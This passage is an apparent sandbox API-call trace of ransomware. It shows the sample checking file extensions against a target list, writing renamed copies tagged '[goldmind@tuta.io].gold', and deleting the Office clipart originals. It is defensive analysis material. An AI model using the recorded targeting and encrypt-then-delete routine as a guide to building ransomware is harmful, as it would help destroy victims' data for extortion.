-1 [0106.080] lstrlenW (lpString=".ppt") returned 4 [0106.080] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0106.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF") returned 63 [0106.080] lstrlenW (lpString=".zip") returned 4 [0106.080] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0106.080] lstrlenW (lpString=".rar") returned 4 [0106.080] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0106.080] lstrlenW (lpString=".bz2") returned 4 [0106.080] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0106.080] lstrlenW (lpString=".7z") returned 3 [0106.080] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0106.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF") returned 63 [0106.080] lstrlenW (lpString=".dbf") returned 4 [0106.080] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0106.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF") returned 63 [0106.080] lstrlenW (lpString=".1cd") returned 4 [0106.080] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0106.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF") returned 63 [0106.080] lstrlenW (lpString=".jpg") returned 4 [0106.080] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0106.081] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0106.081] lstrlenW (lpString="J0106222.WMF") returned 12 [0106.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106222.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0106.089] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=19600) returned 1 [0106.089] CloseHandle (hObject=0x39c) returned 1 [0106.089] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106222.wmf")) returned 0x20 [0106.124] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106222.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0106.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106222.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0106.125] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0106.125] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0106.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106222.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0106.128] GetLastError () returned 0x0 [0106.128] ReadFile (in: hFile=0x188, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x4c90, lpOverlapped=0x0) returned 1 [0106.130] WriteFile (in: hFile=0x3b8, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x4ca0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x4ca0, lpOverlapped=0x0) returned 1 [0106.131] ReadFile (in: hFile=0x188, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0106.131] WriteFile (in: hFile=0x3b8, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0106.131] SetEndOfFile (hFile=0x3b8) returned 1 [0106.131] CloseHandle (hObject=0x3b8) returned 1 [0106.131] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0106.131] SetEndOfFile (hFile=0x188) returned 1 [0106.134] CloseHandle (hObject=0x188) returned 1 [0106.134] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0106.134] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106222.wmf")) returned 1 [0106.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF") returned 63 [0106.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF") returned 63 [0106.135] lstrlenW (lpString=".doc") returned 4 [0106.135] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0106.135] lstrlenW (lpString=".docx") returned 5 [0106.135] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0106.135] lstrlenW (lpString=".pdf") returned 4 [0106.135] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0106.135] lstrlenW (lpString=".xls") returned 4 [0106.135] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0106.135] lstrlenW (lpString=".xlsx") returned 5 [0106.135] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0106.135] lstrlenW (lpString=".ppt") returned 4 [0106.135] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0106.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF") returned 63 [0106.135] lstrlenW (lpString=".zip") returned 4 [0106.135] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0106.135] lstrlenW (lpString=".rar") returned 4 [0106.135] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0106.135] lstrlenW (lpString=".bz2") returned 4 [0106.135] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0106.135] lstrlenW (lpString=".7z") returned 3 [0106.135] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0106.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF") returned 63 [0106.135] lstrlenW (lpString=".dbf") returned 4 [0106.135] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0106.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF") returned 63 [0106.135] lstrlenW (lpString=".1cd") returned 4 [0106.135] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0106.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF") returned 63 [0106.135] lstrlenW (lpString=".jpg") returned 4 [0106.135] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0106.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF") returned 63 [0106.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF") returned 63 [0106.135] lstrlenW (lpString=".doc") returned 4 [0106.135] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0106.135] lstrlenW (lpString=".docx") returned 5 [0106.135] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0106.135] lstrlenW (lpString=".pdf") returned 4 [0106.135] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0106.135] lstrlenW (lpString=".xls") returned 4 [0106.135] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0106.136] lstrlenW (lpString=".xlsx") returned 5 [0106.136] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0106.136] lstrlenW (lpString=".ppt") returned 4 [0106.136] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0106.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF") returned 63 [0106.136] lstrlenW (lpString=".zip") returned 4 [0106.136] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0106.136] lstrlenW (lpString=".rar") returned 4 [0106.136] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0106.136] lstrlenW (lpString=".bz2") returned 4 [0106.136] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0106.136] lstrlenW (lpString=".7z") returned 3 [0106.136] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0106.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF") returned 63 [0106.136] lstrlenW (lpString=".dbf") returned 4 [0106.136] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0106.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF") returned 63 [0106.136] lstrlenW (lpString=".1cd") returned 4 [0106.136] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0106.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF") returned 63 [0106.136] lstrlenW (lpString=".jpg") returned 4 [0106.136] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0106.136] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0106.136] lstrlenW (lpString="J0106816.WMF") returned 12 [0106.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106816.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0106.137] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=3332) returned 1 [0106.137] CloseHandle (hObject=0x188) returned 1 [0106.137] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106816.wmf")) returned 0x20 [0106.137] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106816.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0106.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106816.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0106.137] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0106.137] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0106.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106816.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0106.138] GetLastError () returned 0x0 [0106.138] ReadFile (in: hFile=0x188, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0xd04, lpOverlapped=0x0) returned 1 [0106.139] WriteFile (in: hFile=0x3b8, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xd10, lpOverlapped=0x0) returned 1 [0106.140] ReadFile (in: hFile=0x188, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0106.140] WriteFile (in: hFile=0x3b8, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0106.140] SetEndOfFile (hFile=0x3b8) returned 1 [0106.140] CloseHandle (hObject=0x3b8) returned 1 [0106.140] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0106.140] SetEndOfFile (hFile=0x188) returned 1 [0106.142] CloseHandle (hObject=0x188) returned 1 [0106.142] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0106.142] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106816.wmf")) returned 1 [0106.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF") returned 63 [0106.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF") returned 63 [0106.143] lstrlenW (lpString=".doc") returned 4 [0106.143] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0106.143] lstrlenW (lpString=".docx") returned 5 [0106.143] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0106.143] lstrlenW (lpString=".pdf") returned 4 [0106.143] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0106.143] lstrlenW (lpString=".xls") returned 4 [0106.143] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0106.143] lstrlenW (lpString=".xlsx") returned 5 [0106.143] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0106.143] lstrlenW (lpString=".ppt") returned 4 [0106.143] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0106.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF") returned 63 [0106.143] lstrlenW (lpString=".zip") returned 4 [0106.143] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0106.143] lstrlenW (lpString=".rar") returned 4 [0106.143] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0106.143] lstrlenW (lpString=".bz2") returned 4 [0106.143] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0106.143] lstrlenW (lpString=".7z") returned 3 [0106.143] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0106.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF") returned 63 [0106.143] lstrlenW (lpString=".dbf") returned 4 [0106.143] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0106.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF") returned 63 [0106.143] lstrlenW (lpString=".1cd") returned 4 [0106.143] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0106.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF") returned 63 [0106.143] lstrlenW (lpString=".jpg") returned 4 [0106.143] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0106.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF") returned 63 [0106.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF") returned 63 [0106.143] lstrlenW (lpString=".doc") returned 4 [0106.143] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0106.143] lstrlenW (lpString=".docx") returned 5 [0106.143] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0106.143] lstrlenW (lpString=".pdf") returned 4 [0106.143] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0106.143] lstrlenW (lpString=".xls") returned 4 [0106.143] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0106.143] lstrlenW (lpString=".xlsx") returned 5 [0106.143] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0106.143] lstrlenW (lpString=".ppt") returned 4 [0106.143] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0106.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF") returned 63 [0106.143] lstrlenW (lpString=".zip") returned 4 [0106.143] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0106.143] lstrlenW (lpString=".rar") returned 4 [0106.144] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0106.144] lstrlenW (lpString=".bz2") returned 4 [0106.144] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0106.144] lstrlenW (lpString=".7z") returned 3 [0106.144] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0106.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF") returned 63 [0106.144] lstrlenW (lpString=".dbf") returned 4 [0106.144] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0106.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF") returned 63 [0106.144] lstrlenW (lpString=".1cd") returned 4 [0106.144] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0106.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF") returned 63 [0106.144] lstrlenW (lpString=".jpg") returned 4 [0106.144] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0106.144] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0106.144] lstrlenW (lpString="J0106958.WMF") returned 12 [0106.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106958.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0106.144] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=13784) returned 1 [0106.145] CloseHandle (hObject=0x188) returned 1 [0106.145] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106958.wmf")) returned 0x20 [0106.145] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106958.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0106.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106958.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0106.145] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0106.145] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0106.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106958.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0106.146] GetLastError () returned 0x0 [0106.146] ReadFile (in: hFile=0x188, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x35d8, lpOverlapped=0x0) returned 1 [0106.647] WriteFile (in: hFile=0x3b8, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x35e0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x35e0, lpOverlapped=0x0) returned 1 [0106.648] ReadFile (in: hFile=0x188, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0106.648] WriteFile (in: hFile=0x3b8, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0106.648] SetEndOfFile (hFile=0x3b8) returned 1 [0106.648] CloseHandle (hObject=0x3b8) returned 1 [0106.648] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0106.648] SetEndOfFile (hFile=0x188) returned 1 [0106.651] CloseHandle (hObject=0x188) returned 1 [0106.651] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0106.776] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106958.wmf")) returned 1 [0106.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF") returned 63 [0106.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF") returned 63 [0106.777] lstrlenW (lpString=".doc") returned 4 [0106.777] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0106.777] lstrlenW (lpString=".docx") returned 5 [0106.777] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0106.777] lstrlenW (lpString=".pdf") returned 4 [0106.777] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0106.777] lstrlenW (lpString=".xls") returned 4 [0106.777] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0106.777] lstrlenW (lpString=".xlsx") returned 5 [0106.777] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0106.777] lstrlenW (lpString=".ppt") returned 4 [0106.777] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0106.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF") returned 63 [0106.777] lstrlenW (lpString=".zip") returned 4 [0106.777] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0106.777] lstrlenW (lpString=".rar") returned 4 [0106.777] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0106.777] lstrlenW (lpString=".bz2") returned 4 [0106.777] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0106.777] lstrlenW (lpString=".7z") returned 3 [0106.777] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0106.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF") returned 63 [0106.777] lstrlenW (lpString=".dbf") returned 4 [0106.777] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0106.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF") returned 63 [0106.777] lstrlenW (lpString=".1cd") returned 4 [0106.777] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0106.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF") returned 63 [0106.777] lstrlenW (lpString=".jpg") returned 4 [0106.777] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0106.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF") returned 63 [0106.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF") returned 63 [0106.778] lstrlenW (lpString=".doc") returned 4 [0106.778] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0106.778] lstrlenW (lpString=".docx") returned 5 [0106.778] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0106.778] lstrlenW (lpString=".pdf") returned 4 [0106.778] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0106.778] lstrlenW (lpString=".xls") returned 4 [0106.778] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0106.778] lstrlenW (lpString=".xlsx") returned 5 [0106.778] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0106.778] lstrlenW (lpString=".ppt") returned 4 [0106.778] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0106.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF") returned 63 [0106.778] lstrlenW (lpString=".zip") returned 4 [0106.778] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0106.778] lstrlenW (lpString=".rar") returned 4 [0106.778] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0106.778] lstrlenW (lpString=".bz2") returned 4 [0106.778] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0106.778] lstrlenW (lpString=".7z") returned 3 [0106.778] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0106.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF") returned 63 [0106.778] lstrlenW (lpString=".dbf") returned 4 [0106.778] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 